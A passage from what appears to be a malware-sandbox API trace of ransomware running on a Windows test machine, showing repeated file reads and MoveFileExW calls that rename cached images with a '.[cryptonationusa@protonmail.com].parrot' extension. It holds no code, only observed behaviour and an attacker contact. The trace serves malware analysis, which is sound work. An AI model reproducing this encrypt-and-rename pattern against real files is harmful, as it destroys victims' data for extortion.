Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.157] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.160] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.162] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x120, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x120, lpOverlapped=0x0) returned 1 [0078.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.162] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.166] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.167] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.167] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x121, lpOverlapped=0x0) returned 1 [0078.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.167] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.170] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.172] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x18c, lpOverlapped=0x0) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.173] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.176] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.176] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.178] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x168, lpOverlapped=0x0) returned 1 [0078.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.179] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.182] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.184] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x333f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x333f, lpOverlapped=0x0) returned 1 [0078.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.185] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.189] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.190] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x90b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x90b, lpOverlapped=0x0) returned 1 [0078.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.191] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.191] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.194] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.194] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.196] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x994, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x994, lpOverlapped=0x0) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.196] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.199] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.208] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.208] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28b9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x28b9, lpOverlapped=0x0) returned 1 [0078.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.210] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.213] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.216] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x176d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x176d, lpOverlapped=0x0) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.217] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.222] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.224] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6218, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6218, lpOverlapped=0x0) returned 1 [0078.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.225] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.226] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.229] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.231] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x75a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x75a, lpOverlapped=0x0) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.231] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d89, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2d89, lpOverlapped=0x0) returned 1 [0078.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.237] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.240] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, 